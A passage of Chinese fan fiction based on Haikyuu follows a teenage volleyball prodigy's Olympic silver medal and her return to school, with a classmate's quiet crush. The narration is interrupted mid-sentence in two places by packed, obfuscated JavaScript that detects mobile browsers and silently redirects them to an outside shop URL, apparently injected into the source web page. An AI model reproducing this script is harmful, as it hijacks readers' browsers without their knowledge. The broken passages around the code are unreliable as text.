“而且说实话，知道这事的人还不少，肯定会有人在比赛的时候用王者这个外号来搞你心态，这种事在赛场上很常见，不要为了它而失去理智。”凛音根据过往经验提提意见。 影山点点头，没说干这种事的人是他队友。 “爷爷生病不能去乌野时，我被吓了一跳呢，没有教练的队伍很艰难，我是知道的，当时很后悔给你推荐了乌野，但你们有一个负责的好老师，现在我终于放心了。” “就算没有前辈推荐，我应该也会来乌野。毕竟白鸟泽没有给我特招名额，我肯定考不上。青叶城西倒是邀请了我，但被我拒绝了。”影山诚实地说。 “……” 差点忘了白鸟泽很难考了，幸好这个学校没给影山特招名额。 “不要太过在意国中的事情，作为二传，你有义务去引导队友，只要你和队友好好沟通，慢慢去把握那个尺度。 说实话，有日向在我还挺放心的，他是个很善于交流的好孩子，你也很喜欢他吧。” “嗯…嗯。”影山有些不好意思的承认了。 “对了，还有一件事，是关于牛岛若利的，我有一种预感，早晚有一天你们会遇上他，我提前说声对不起，这个笨蛋大概率会冒犯你们。若利向来实话实说，偏偏又很自信，有时候说出来的话还容易引人误会，很气人。”凛音无奈地解释了两句，“若利是个排球笨蛋，看在都喜欢排球的份上，可以不要讨厌他吗？” “哦，好。”影山当然不会莫名其妙地讨厌一个不认识的人，“前辈和牛岛若利谁更厉害呢？” “不在一个赛场上，没什么好比较的。不过我在女排的地位要高于他在男排的地位，毕竟我的资源更好。” 影山点了点头。 沉默。 凛音想，自己为什么总是和不爱主动说话的人做朋友呢。 但她不觉得这样很累，这样的谈话其实很轻松，想说话就说话，不想说话就不说话，总是有人会回应你，倾听你。 “五月份，你们要和音驹打练习赛吧。我还挺想来看看的，可惜看不了了。” 影山疑惑地看了她一眼，为什么来不了呢？ “五月份要举办亚洲资格赛了，教练让我去观赛，这是我训练的一部分。” 影山的眼睛都亮了，国家队、奥运会资格赛是他们这个年龄都接触不到的事情…… “我会给前辈拍视频的。” “谢谢你哦，影山真是个好孩子。” 影山抿了抿嘴，有些不自然，他才不是孩子，但他也没有反驳。 “那我要走了，再见。以后有什么事情有什么问题都可以和我说哦，我很乐意和影山聊天呢。” “嗯，会的。”影山点了点头。 五月，凛音随队去看了奥运会女排的亚洲资格赛，日本以亚洲最好成绩成功入围。 六月份，经过集训选拔、运动员积分等一系列的筛选，奥运会的十二人名单最终公布了。 凛音出乎意料地被放在了替补接应的位置。排协纠结了许久，还是下了这一步险棋。 反正女排世界杯的时候，日本已经拿出了最好的阵容了，结果也只是拿了第四，和美国队巴西队还有不小的差距，干脆就赌一把，把一个未来之星放上去，万一可以拿到奖牌呢。 日本奥委会不认识乌养凛音，收到这份名单后直呼排协脑子秀逗了，走后门也不能这么走啊，带个16岁高中生干什么啊。 双方交流了一番后，奥委会纠结地批准了这份名单。 这下子凛音是真的出名了，不只是在日本，在全世界女排都出名了，全都知道日本名单里有个16岁高中生了。 凛音自己也没想到能入选奥运会的名单，毕竟世界杯和资格赛都没她什么事。 她就这么迷迷糊糊地被拉着集训，接了无数个电话以后也没有什么实感，我真的能打奥运会了？ 考虑到学生运动员的心理问题，凛音基本上每天都要被队里的心理师关注，等到他们认为凛音的心理已经足够接受舆论，才没有再给她断网。 一拿到手机吓了一跳，她的line上全是信息，这倒是还好，毕竟上面全是好友。她的推特和Instagram基本上直接爆了。平时她不会在这两个平台上发生活日常，只会发发排球相关的，她以前的比赛什么的。凛音现在无比庆幸她没有在这两个平台上发日常，所以就算社交账号被找到了也无所谓。 面对好多评论，她根本不敢看，反而心理师经常会带着她读评论，一边看一边安抚她的情绪。这件事和排球一起，训练了将近两个月，凛音现在能做到毫无波澜的把所有恶评看完。 排协现在完全把她当块宝，这两个月的训练量对她来说有点大了，所以只要她身体出现一点问题，后勤都要很紧张地检查，对她的心理问题也很关心。 训练的时候，围绕着她来设置了不少新战术，尽可能地发挥她的优势，避开她的劣势。由于她的自保能力很差，不管什么站位下，都要保证她旁边有个保镖，幸好这份名单剩下的11个人，在防守上都是世界顶级的，这就是为什么日本队在身高力量劣势的情况下还能到第四的原因。 这确实是在赌，赌凛音在顶级赛场上能顶住压力正常发挥，赌她短暂的上场可以逆转局势。如果没有凛音上场，那么日本队绝对没希望夺冠，但有可能拿到一枚奖牌，如果上了她，上限是冠军。 可以想象到，凛音一旦上场绝对会被疯狂针对，在赛场将要承受远超成年选手的压力，不会有人因为她未成年而不去针对她，只会因为她是未成年而针对的更凶。 因而集训期间，她还要接受大量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16879893|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的抗压训练。不是每个优秀的运动员在大赛场上都能百分百发挥实力的，幸运的是凛音颇具大将风范，她的抗压能力相当好，在巨大的压力下，还能保持进攻能力的稳定，以及良好的反应和思考。 她具备一切成为传奇的条件，她所缺少的只有时间。 奥运会的分组也已经出来了，日本幸运的被分在了A组，下面有英国和阿尔及利亚，基本上稳定出线。 而这一届的B组，死亡小组，中国、美国、巴西、土耳其、塞尔维亚、韩国，没有一个队伍是弱的，甚至还有两个夺冠热门。 那么在A组稳定晋级的情况下，小组排名就相当重要了。如果小组第四出线，将在四分之一决赛上对上B组的第一名，想想也知道压力巨大。于是，A组开始拼命抢第一名，毕竟打B组最后一名出线的会比较好打。 日本在稳定能出线的情况下，不可能让凛音上场，如果她提前暴露了信息就失去了把她放进名单的意义。 上面有个俄罗斯和意大利，日本必须要拼一下了，看看能不能挣到小组第二，因为B组的第一第二很大概率会是美国和巴西，第三名出线太危险了。 结果小组赛，日本还是没有肘过俄罗斯和意大利，A组的排名是：俄罗斯、意大利、日本和多米尼加。 但令人十分高兴的是，巴西前四场比赛完胜，积分稳定晋级，在第五场比赛上遇到了背水一战的韩国，巴西队为了保持精力和防止受伤，主力一个没上，被韩国0-3打赢了。 直接打乱了A组的计划，因为现在B组的积分排名是：美国、中国、韩国和巴西。 俄罗斯天都塌了，拼命拿到小组赛第一不就是为了不那么早碰到巴西和美国嘛，结果四分之一决赛直接被巴西淘汰。但俄罗斯不愧是今年的夺冠热门，打满了五局。 最高兴的是日本，本来以为要打美国和巴西，止步八强，没想到要打的竟然是中国。 中国队和日本队在一个梯队上，有打赢的希望，如果碰上巴西和美国肯定是打不赢了。 比赛一直打到了第五局，凛音坐在备战席纠结，谁输了她都不高兴。 教练也是忍了又忍，最终没有选择让凛音上场，幸好这一场是日本赢了，教练松了一口气。 另一边，韩国打赢了意大利，晋级四强。 进入四强的队伍已经开始对凛音放松警惕了，打中国队这么艰难的时候都没有放出来，还能指望用她打赢美国队吗？ 明天就是半决赛了，日本队要对战美国队，胜算几乎没有。 教练组明确告诉她，明天她要上场了，作为奇兵，日本队这次能不能拿到亚军就看她了。 是的，日本很有自知之明，打赢美国有希望，打赢这种状态下的巴西几乎不可能。 随队的心理师最后一次对凛音进行了心理辅导。但是晚上她还是有点失眠，离开房间，去走廊上随便走走。 刚好遇上了日本队的前辈野崎美莎。 “小凛音睡不着吗？” “野崎前辈！是有点，感觉很紧张，第一次来到奥运会这种级别的赛场。” “你是个幸运的超级天才，十六岁就站在了奥运赛场上，这可是很多人奋斗一生都无法触碰的舞台。 会紧张是当然的。你我都清楚，你的综合实力和经验，比起在场的其他选手还差得远。排协顶着巨大压力把你放进名单，打中国那场，教练组咬着牙没让你上场，全队上下都扛着这份赌注的重量走到今天。你当然应该紧张，因为你也是承受这份压力的一分子。 但我们所有人都心甘情愿。因为你是日本女排的未来。所有人都心知肚明，你将来会成为全世界女排毫无争议的超级巨星，你拥有成为超巨的所有潜质，远远超过了你的同龄人。 所以小凛音，你真正的对手，从来就不是现在场上的这些人。 我们是你的前辈，只是你成长路上必经的风景。等你真正成熟、攀上顶峰的时候，我们大多已经退役了。明天你感受到的压力，是她们用整个职业生涯积累起来的，而你，才刚刚开始。” 凛音愣住了，没想到前辈会给自己这么高的评价。 “要是紧张地睡不着，就去找心理师哄你睡觉吧，她肯定很乐意的。”野崎美莎其实是认真的，睡觉对运动员来说很重要。 凛音也思考了一下，和野崎前辈道谢告别，去找了心理师，在心理师的安抚下成功入睡。 一觉起来，就要上赛场了…… 41.亚军 早晨一睁开眼睛，凛音瞬间清醒，比赛，比赛，比赛…… 还是在紧张啊，不过不影响睡眠就好。 凛音起床洗漱，和前辈们一起吃早饭。 “小凛音晚上睡得怎么样啊？不会紧张得一晚上睡不着吧。”前辈们关心地调侃了一句。 “确实有点睡不着，还是去找得心理师。”凛音无奈地回答。 “哈哈哈哈哈，很正常，我第一次参加职业比赛也是睡不着，你现在压力比我那时候大多了哦。”前辈贴心地安慰。 稍微热热身，做了做球感练习，大家集合前往场馆，马上比赛就开始了。 真是奇怪，到了场地上，凛音反而不紧张了，她平静地坐在备战席，脸上没什么表情。对手无法通过她的表情判断她的心情，猜测今天她出不出场。 半决赛对战美国队，开始！ 比赛的第一局和第二局，日本分别以22-25和23-25输给了美国队。 凛音深呼一口气，第三局她要上场了，或许这一局打完就结束了，或许能打到三局。 不管是打一局还是三局，她都做好了准备，她们已经没有退路了！ 第三局比赛，凛音向全世界证明了，她为什么能进这个12人名单，她的进攻实在是太强了，在全队的配合下，凛音用绝对的进攻撕开了对手的防御体系，一时间打得美国队猝不及防。 凛音加入后，直接让日本的风格大变，原本主要依靠铜墙铁壁的防守和细腻的串联，如今却变得极具攻击性。 第三局，日本队成功拿下。 “表现得很好嘛，完全看不出紧张的样子。”前辈摸了摸凛音的头，赞许道。 凛音高兴地笑了笑，原来职业赛场上强度这么高，打得如此让人兴奋。 “下一局注意保护好凛音，她在前排拦网的时候带着她一点，她肯定要被针对了。”教练叮嘱着其他队员。 “你正常发挥就行，有队友给你兜底呢。”对待凛音，教练就这一句话。 “是！” 第四局，凛音的压力骤增，对手明目张胆地在针对她，盯着她追发，拦网时也把她视为弱点，频频朝她那里扣球。 不过凛音虽然感觉压力巨大，但丝毫不会影响她在赛场上的表现。面对对手的针对，她相信前辈能把球接好的，因而她还是没有参与一传，专注进攻，进攻是她在赛场上唯一能做的事情。 不过保护得再严密也还是有漏洞，她还是被针对成功了几次，但这也同样展示她的天赋，尽管她不能很好地把球接到给二传，但凭借顶级的反应，她至少还能勉强接到，而日本的二传水平也很不错，能接受她糟糕的一传。 第四局，凛音顶住了压力，又赢了下来，前辈们排队来揉她的头。 “好样的，我要是被这么针对，想死的心都有了。” 因为这一局的针对，凛音的体力被大量消耗，她大口喘气，胸口剧烈起伏，喝了几口水，幸好第五局只有十五分，完全能够坚持下去。 最终局，凛音的心态依然很平稳，淡定地面对对手和对手后援会的嘲讽，对此没有什么感觉。 这两局，日本队竭力隐藏的战术已经彻底明牌了，可惜美国队的分析时间太短了，来不及得出什么有用的信息。 而且美国队强得十分平均，没有那种超级明星选手在关键时候站出来扛大旗。 这一局里，日本队拿到的分数更多一点，15-11击败夺冠热门，成功晋级。 大家团团围在一起，高兴地蹦蹦跳跳，这次奥运会绝对是超额完成了任务。 日本和美国的这场比赛关注的人不多，大家都觉得美国稳赢，直接看美国打巴西就好了。 结果当天女排新闻：《奥运史上最强奇兵：无名天才三局摧毁美国，日本女排闯进决赛》 ？？？ 点进去一看：在今晚的奥运会女排半决赛中，一场载入史册的逆转发生了。面对不可一世的世界第一美国队，日本队在绝境中打出了秘密王牌，一位从未在成年国际赛场露面、未满17岁的接应。她在第三局替补登场，用一系列超越排坛认知的暴力扣球，彻底扭转了战局，带领日本队以3-2将夺冠最大热门挑落马下，奇迹般地闯入决赛。 欲望是无止尽的，今天她们艰难打赢了了美国队，教练又认为她们还能打赢巴西，使劲给她们上压力。 另一边的半决赛，巴西3-0完胜韩国队，韩国队拿到的分没有超过六十。 都是经验丰富的运动员了，大家收拾好心情，准备参加明天的决赛。 对日本来说，这场决赛客观上已经没有什么压力了，赢也好输也好都是巨大突破。 但顶尖运动员，都是有血性的，她们不会因为这个原因就放松下来，前方有夺冠的机会，怎么可能会放过，当然要全力以赴去拼搏了。 决赛对战巴西，教练也不用再藏战术了，第一局就把凛音派上去。 经过了一天的分析，巴西队对于凛音也有了初步了解，第一局，巴西队对她进行了进一步试探与侦查，凛音的进攻还算顺利，也能顶得住对面的针对，拿下了第一局。 第二局，教练最担心的事情还是发生了，凛音是和目前日本女排整体风格格格不入的存在，尽管教练为此做出了调整，但还是存在一些冲突的地方。 昨天美国队第一次遇到这样的日本队，直接被打蒙了，但有足够思考时间的巴西可不会放过这个弱点。第一局的初步侦查后，第二局就开始重拳出击了。 凛音只觉得对面的针对十分精准，总是卡在最让她不舒服的地方，这不仅严重限制了她的发挥，也对她的精神造成了巨大的压力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884547|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽管凛音的抗压能力很强，压力也不会影响她的发挥，但在精准地针对下，她还是没办法发挥出她的进攻优势。 最终，日本1-3输给了巴西，拿到银牌。 比赛结束的那一刻，队伍里的氛围还好，毕竟输了也是意料之中的事情，不是不能接受的。但凛音这几局承担的压力太大了，她急切地需要在场外发泄出来，没忍住，在场上大哭了起来。 队伍里的前辈们见此都心软了，果然还是个孩子啊，大家纷纷围着她站了一圈，拥抱她，递递纸，给她擦擦眼泪，摸摸头安抚一下，时不时说几句话。 和巴西队的赛后握手时，凛音的眼睛都还红着，对手诧异地看了她两眼，友好的笑了笑。虽然赛场上她们要针老打幼，但赛场下还是尊老爱幼的嘛。 这一幕无疑被媒体拍了下来，成为这一场比赛的一个小热点。 《天才少女赛后痛哭！队友暖心拥抱！》 赛后，教练还是没顶住媒体的压力，把凛音交出去接受采访了。 问：第一次在奥运决赛首发却与金牌失之交臂，此刻最强烈的感受是什么？是失落，还是骄傲？ 答：都有吧，能上奥运会名单我就已经很骄傲了。但我们离金牌这么近，肯定还是有点失落的。 问：比赛时你看起来无比冷静，是什么让你在赛后情绪崩溃？队友们围着你时对你说了什么？那一刻对你意味着什么？ 答：巴西队的针对让我压力很大，只是压力不会影响到我的比赛，比赛结束后受到压力影响才会哭出来。前辈们都在安慰我，这让我感到十分温暖。 问：今天你从一开始就承担了大量进攻，巴西队明显加强了对你的研究和拦防。你感觉今天的困难在哪里？ 外界称你为天才和救世主，这种巨大的期待是否在今天给你带来了额外的压力？ 你如何评价自己在这场决赛中的表现？是否认为自己已经发挥了全部水平？ 经过这次大赛，你认为自己最需要改进和提高的地方是什么？ …… 凛音保持了无懈可击的笑脸和从容的态度回答了要回答的问题。毕竟她事先有准备好答案。 这一届奥运会中，她获得了最佳接应。 MVP给了韩国的主攻手，一位超级明星选手，一己之力带着韩国进了四强。 回国后，凛音发现，她小学中学高中的排球成绩一路被拎了出来，“女武神”之名响彻日本。 一切都变了，一切又好像没有变。 走在路上偶尔会被认出来，偶尔要去参加参访，身边跟了几个便衣保镖，社交媒体账号给了妈妈请的专业团队打理，幸运的是舅舅帮她挡下了外界绝大部分对她私生活的追踪，只有大量透露出来不影响她生活的资料。 但幸好，她的朋友们都没有变。 42.回到学校 回国时，才八月中旬。IH也已经结束了，女排仍然没有打赢金兰会，拿到季军，男排止步八强，而她所关注的乌野被青叶城西所打败，唉，影山现在还是没有超过及川啊。 凛音收到了国内大量的职业邀请，但是全部都拒绝了，她还不想过早踏入职业赛场，她的身体机能还没完全成熟，过早的大量训练对身体有害，她要尽可能地延长自己的巅峰期。 至少等高中毕业再考虑职业的事情。 暑假还没有结束，凛音回到学校，继续参加部活。 一开始，女排的大家见到她还有些局促，毕竟部长成了奥运会的传奇人物。 相处了一会后，大家突然哈哈大笑起来，部长还是那个部长啊。 凛音也暗自松了口气，板着脸，严厉训斥：“笑什么笑！现在是训练时间！” 大家低着头，憋着笑：“是！女武神大人！” “像什么样子！在部里要称职务！” “是！部长大人！” “很好，接下来分组打练习赛，谁想和我一队？” “我！我！我！”*n 开什么玩笑，谁想到你对面去啊。 “好了，开个玩笑，我不参加练习赛了，看你们练就行。” 大家松了口气。 第二天，凛音来到了男排，受到了极高规格的欢迎回归仪式，她感动地露出了蛋花眼。 牛岛柔和地看着她，露出一个浅浅的微笑：“欢迎回来，你的表现我们都看了直播，很厉害。” 濑见也笑了：“你怎么在赛场上也哭鼻子了？” “混蛋英太，你少管！”凛音的眼睛有点红了。 “前…前辈！欢迎回来！前辈在赛场上真的太厉害了！总有一天我也会超过前辈的！”五色摇着尾巴就过来了。 “欢迎回来，表现的很好。”川西也笑了起来。 “欢迎回来。”白布冷淡地说，不过表情倒是乖巧了不少。 “嘁，白布就不能表现得再热烈一点吗？”凛音失望道。 “……”白布瞬间恢复了冷脸。 “我就说这家伙没救了。”濑见立刻踩了白布一脚。 “嗯哼。”白布没搭理他。 ！！！ 濑见生气 这时候天童蹦蹦跳跳地拿了一只巧克力冰激凌进来。 “哇，捕捉到一只珍惜的蛋花眼白色小乌鸦！来，天童前辈送你好吃的巧克力冰激凌！” “前辈真是的，在体育馆不要吃东西啊！”凛音一边吐槽一边赶紧拿过这支冰激凌。 咔嚓咔嚓，几口吃完，真好吃，凛音心里残留的感动全部转换为吃到好吃冰激凌的开心。 “喂，别吃那么快啊……”川西无力地想要阻止。 门又被推开了，进来的是鹫匠教练，大家立刻散开列好队，凛音也不例外，她赶紧趁着列队的空档背对着鹫匠教练舔了舔嘴上残留的巧克力。 舔完以后悄悄给天童使了一个眼色，天童笑着点点头，示意她舔干净了。 呼……凛音放心地去列队了。 鹫匠教练扫视了一圈，最终目光落在了凛音身上，嘴角松动了一下，让人惊恐地想到“他是不是要笑了”。 他难得用慈祥的语气对着凛音说：“乌养倒是有个厉害的孙女啊，还算没给你爷爷和我丢人……” “你如今年少成名，不知道是不是好事，但不要骄傲，你的技术还差的远呢。”鹫匠教练的语气又严厉起来，“你看看你在赛场上的接球和拦网，全靠队友给你擦屁股，被对手当做破绽追着打！” “我还小嘛……”凛音小声嘀咕。 “小？赛场上可不讲年龄！要不是你的进攻还不错，你有什么资格进奥运会！好好练球！别给队伍拖后腿！” “是……”凛音原本有些亢奋的情绪平静下来。 唉，要是她的自保能力再强一点，也不会给队伍带来破绽了…… 练球的时候，大平偷偷来安慰她两句：“别在意，教练是希望你不要骄傲。” “我知道，我知道……” 凛音早就习惯了，最近她确实有点静不下心来练球了，也是被教练吼醒了。 今天凛音主要和天童、川西一起练拦网，这两人也就比她高那么一丢丢。 天童试图教会他们俩直觉拦网，笑死，根本学不会。 “阿觉，我真的没有这个天赋啊…”她根本没有这么逆天的直觉。 川西也点点头。 “唉，太一，我们一起去学吧，阿觉的方法不适合我们。” “好。”川西很听话地同意了，眼里闪烁着一点愉悦。 天童面无异色、若有所思地看了他一眼，试探地问了一句：“那我走了哦，你们俩个去练习吧。” “嗯。”凛音点点头。 “好。”川西整个人都精神了一点。 凛音拉着川西去别的场地练习了。川西的拦网比不上天童，也没有凛音好，这让凛音有点担心，她怕关键时候因为川西的拦网出现了防守漏洞。 而天童的拦网方法根本不适合几乎所有人，她只好带着川西单独练习了，正好她自己的拦网也要练练。 “你今天好像更积极了嘛。”休息时，凛音奇怪地问了一嘴。 “没有。”川西直接否认。 “那好吧。”反正凛音好几个月没来男排练球了，大家或多或少有点变化。 上午部活结束时，川西问凛音有没有空陪她加练一会，这种要求凛音是从来不会拒绝的，反正又不急着吃饭。 “不错嘛，太一，很有上进心啊。”濑见欣慰地拍了拍川西的肩膀。 “是啊是啊，太一现在真的变了呢~”天童在他耳边念叨着。 “嗯。”川西听到天童的话心里一咯哒，但脸上还是没什么表情。 “前辈，我也要一起加练！”五色摇着尾巴过来了。 “哎呀，阿工，去晚了食堂就没有好吃的了~来来来，和前辈们一起来吃饭~”天童把五色推到了食堂。 很快，偌大的体育馆就剩他们两人了，他们俩也没说什么话，就这么加练了半个小时才结束。 两个人收拾了一下东西，背上包离开了体育馆。 “啊，好饿……”凛音摸了摸肚子。 “抱歉，但现在去食堂恐怕没什么吃的了，我请你去外面吃吧。” “唔，没关系。去外面好麻烦啊，就在便利店买个饭吧。”凛音现在只想快点回去洗澡，随便吃点什么就行。 “嗯，好。” 两人去便利店买饭，川西买了一份，凛音买了两份，带着饭去了食堂，牛岛他们早就已经吃完离开了。 “你现在就要打职业吗？肯定有很多队伍邀请你吧。”太一有点关心。 “不会，至少要等到高中毕业吧，确实有很多邀请，不过被我拒绝了。” 凛音还没有单独和川西一起吃过饭，但她也没觉得有什么不对的地方，两个人吃饭时随便聊了几句，吃完饭，凛音就和川西告别了。 她快步回到宿舍，感到身上黏糊糊的，赶紧去洗澡。这个暑假她就住在学校了，今时不同往日，在学校和家里往返路上已经不太安全了。 另一边，川西也要回宿舍洗澡，路上不知道想到了什么，露出了一丝微笑。 “下午好啊，太一。”天童突然从后面窜出来。 川西被吓了一跳，笑容立刻收回。 “太一啊，问你一个问题哦~” 川西的身体瞬间有些僵硬。 “你是不是喜欢凛音酱呀~”天童在他耳边轻轻说道。 “我…我……”川西整个人都呆住了，不好意思承认，也不想不承认。 “这有什么可以害羞的呢~喜欢凛音酱是再正常不过的事情了呀。”天童眯了眯眼睛，“毕竟她那么可爱又温柔。” “是……我确实喜欢她……”川西红着脸承认了，但他也敏锐地意识到了什么，“天童前辈也喜欢她吗？” 天童并没有立刻回答。 他脸上的笑容依然带着点神秘和玩味，但那双总是跳跃着情绪的眼睛里，似乎有一瞬的空茫。 他歪了歪头，在很认真地思考这个突如其来的问题。 “嗯……”天童食指轻轻点着自己的下巴，“喜欢啊……这个词真有意思呢。” “我喜欢和小凛音一起打球，”他慢悠悠地开口，“她的扣球打在手心的感觉又重、又有点烫，像夏天的太阳直接砸下来……” 他顿了顿，转过脸，看向川西，眼神恢复了以往那种清澈，却又带着点困惑。 “我也喜欢看她被逗得跳脚的样子，喜欢她笑起来的时候，眼睛弯成小月牙，连空气都好像变甜了。和她待在一起，就像找到了一个特别有趣的游戏，永远不知道下一关会是什么。” 天童摊开手，做了一个“就是这样”的手势，脸上的笑容变得有些孩子气，又有些微妙的无辜。 “但是呢，太一说的喜欢，和我说的喜欢，可能不是一个游戏规则里的东西哦？ 我只是觉得，有她在的乐园，会更好玩。至于其他的嘛……还没想到那么远呢。规则太复杂的游戏，我可是会嫌麻烦的。” 说完，他拍了拍川西的肩膀，力道不轻不重：“所以，加油哦，太一！”他眨眨眼，语气轻快，“我看好你！不过—— 不要给小凛音带来困扰哦~否则就算是后辈我也不会客气的~” “我会的。”川西心想你这不就是喜欢嘛。 “其实太一表现的很明显哦，你的眼睛就跟吸在她身上一样~”天童坏笑着提醒，“除了若利、濑濑和阿工，其他人应该都看出来了哦~” “咳咳咳…”太一撇撇嘴，有些不好意思。 川西不是个会把内心想法透露出来的人。他其实并不是想追求凛音，他甚至不想让凛音知道自己的心意，因为他怕连朋友都做不了。他只是没办法控制自己去靠近她，他也没办法控制自己的眼睛不去寻找她…… 靠近她、和她说话时，心里会觉得甜甜的；看不见她时，心里会有些烦闷；看到她和其他异□□谈甚欢时，会觉得酸酸的…… 这就是喜欢一个人的感觉吗？又甜又苦又酸。 可惜，这一切并不被凛音所知晓。 凛音并不是个迟钝的人，相反，她相当的敏锐，或许是因为小学的一段被排挤的经历，她变得擅长观察别人，谁喜欢她谁讨厌她，别人的情绪，她是能够看出来的。 只是，上辈子她毕竟二十二岁了，潜意识里仍然把身边的朋友当成孩子，根本没有恋爱的念头，面对 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过段时间，影山老老实实回复，他之前和日向意见不和，但已经解决了，他们找到了进步的方向。 凛音放下心来，既然已经解决了，凛音就没问具体事宜了。 但她没想到竟然这么快就能遇到他们两个。 那天，凛音去男排参加晨练，还是和牛岛一起跑在了所有人前面。 “……这里离白鸟泽很近吧。” “就是乌养前辈和那个牛若的学校吧。” “哦，你们好啊~”凛音从后面拍了拍他们两个。 “找我有什么事吗？”牛岛听到自己的名字好奇地问了一嘴。 不过显然，凛音是认识他们的，牛岛疑惑地看了一眼凛音。 而这两小只被吓了一大跳。 “这是影山飞雄，这是日向翔阳，是我哥哥在乌野带的学生哦。”凛音主动介绍了。 “这位就是牛岛若利啦，我的青梅竹马。” “那支用奇怪快攻的队伍吗？”牛岛对他们有印象。 “看来你们真的很有名呢~” “能让我们侦查一下白鸟泽吗？”影山主动提议道。 “欢迎哦~” “请便，让你们看一眼也不会减弱我们的实力。” 凛音肘了一下牛岛，示意他少说话。 牛岛闭上嘴，开始跑了起来，凛音和他一起，两小只跟在后面。 “不得了！我好兴奋呀！” “蠢货！给我冷静一点！你是第一次出来散步的小狗吗？白痴。” 凛音虽然跑在了前面，但还是留意着这两人，最近因为她有点出名，白鸟泽门卫查的很严格，但凛音和牛岛两个人还是把人带进去了。 进去以后，凛音一个没注意，两小孩没了…… “算了，先不去找他们了，让他们自己转转吧，我们去体育馆吧，他们最后应该也会找到那里的。”凛音无奈道。 “你和他们关系很好？” “唔……我觉得挺好的，我还挺看好影山的，日向的天赋也很好，虽然基础不太行。” “嗯。” 凛音让牛岛先去了体育馆，她去路上给孩子买两瓶水。 凛音去了超市，等她回到体育馆的时候，正好看了日向跳起来接住了本该被牛岛接住的一球。 芜湖，还挺帅的嘛。 牛岛难得露出了一个充满战意的笑容。 “好久没见少爷这么开心地笑过了。” 在场三人：…… “你们之间是不是不太愉快？唉，说真的，你们都是想打职业的人，日本就那么大，搞不好以后还是队友呢。” 三个人一阵恶寒。 不过凛音也没有强求他们能相处好，给牛岛比了一个手势，送他们俩出去了。 “前辈也觉得青城是一支弱旅吗？” “牛岛是不是说除了及川，青城其他人都很弱？” “诶？差不多。” “强和弱是一种给队伍贴上的标签，在牛岛眼里赢的多的那方更强，输的多那方更弱，就是这么简单，他根本就没有不尊重对手，也没有不尊重你们，他就是这么单纯的自信。 不过所谓的弱队完全可以通过准备来打败所谓的强队，赛场上都是说不准的事，黑马是竞技场上常有的。” （比如2025布达佩斯major，很多队伍以弱胜强，毁了我的major作业） “前辈是觉得我们能战胜白鸟泽吗？” “唔……完全有可能，至少你们比青叶城西更有希望。哥哥给我发了一些你们去东京合宿的视频，能看出来你们副攻的拦网挺好的，自由人也很厉害，加上你们的快攻，主攻也在县里有些名气吧。所以你们既对牛岛的扣球有抵抗能力，又有进攻能力，为什么没机会打赢白鸟泽呢？”凛音冷静分析了一下。 不过从我的角度来看，真希望你们一个都不输啊……凛音惆怅地想着。 日向的眼睛又亮了起来。 凛音把两个人送出了校门，回到了体育馆继续训练。 果不其然，她和牛岛因为带外人进学校被狠狠骂了…… 43.无聊的日常 暑假几乎快要过去了，凛音马上要补考了，这学期结束他们白鸟泽就要分文理了，凛音果断选理。 终于要摆脱政治和历史了嘛…… 什么叫高二还要选日本史或者世界史？算了，那肯定是世界史啊。 说到历史，有天凛音和男排的朋友们走在路上，隐约听见有人喊狮音叫“弁庆”。 凛音疑惑地问：“弁庆是谁？” 所有人都惊讶地看着她：“你不知道源义经？” “遮那王？那个女的？”凛音感到很疑惑，她就记得《源平飞花梦想》里面那个女主叫源义经，因为比较能打，令她印象深刻。 “啊？你真的是日本人吗？你初一第一次见到狮音的时候也喊他弁庆来着！”濑见无语吐槽。 “有吗？可能那个时候学到弁庆了吧。”凛音学日本历史向来都是学完就忘的。 “……我记得你的历史成绩还挺好的吧。” “这不是考前背背重点就能写出来的吗？考完试谁还记得那么多啊。”她只是不记得史实，不是不会分析。 “那你厉害。” 这次分科，大多数人都选了文科，黑川凪也是，也就是说她们俩终于要分开了，黑川凪最近心情都不好了。 白布选了理科，川西也选了理科，他们学校的理科有两个班。 不过理科里面也要细分一点，物化生里面要选两个，凛音果断选物生，上辈子她最不擅长的就是化学了，这个东西太难以捉摸了。她现在还记得，上辈子他们班有个化学竞赛拿了省一等奖的，毕竟他们不是竞赛班，拿到这个成绩已经还不错了，于是高考时觉得自己的化学没问题了，都没怎么复习，结果考了个八十出头，还没凛音高。 生物相对来说就好学多了，高中的生物还是没什么深度的。 数学对凛音来说也没有太大问题，上辈子她参加数学竞赛还拿了个小奖呢，虽然不是什么数学天才，但学习能力也不错了。 不过怎么还有微积分…… 大学的时候，她的高数学的还行，但忘得差不多了，看来这一块上课要听听了，只是她很怀疑她现在还有没有上课好好听讲的能力。 这个新学期，凛音和川西太一分在了同一个班，白布在隔壁。 这一次，凛音和川西太一甚至是同桌，毕竟是班上最高的两个人，一起坐到最后。 因为是同桌，川西对凛音的上课状态有了更好的了解，真的是一点没听，一点没听啊！她是怎么做到每次考试都考的那么好的？ 川西疑惑地问了一嘴。 “哦，很简单啊，看看书做做题就会了，可能上辈子学过吧。” 川西无语。 凛音和川西所在的班级不是以考试升学为主要目标的，那么要求也不一样，不会像白布那样搞的那么难，这也是凛音敢放肆睡觉的原因。她一个打排球的为什么要靠成绩考上那么厉害的大学。 做了同桌以后，川西每天都感到很幸福，离她很近，想说话就说话，每天晨练结束后他会早早地来到教室，手撑着头看着门口，等着她进教室。 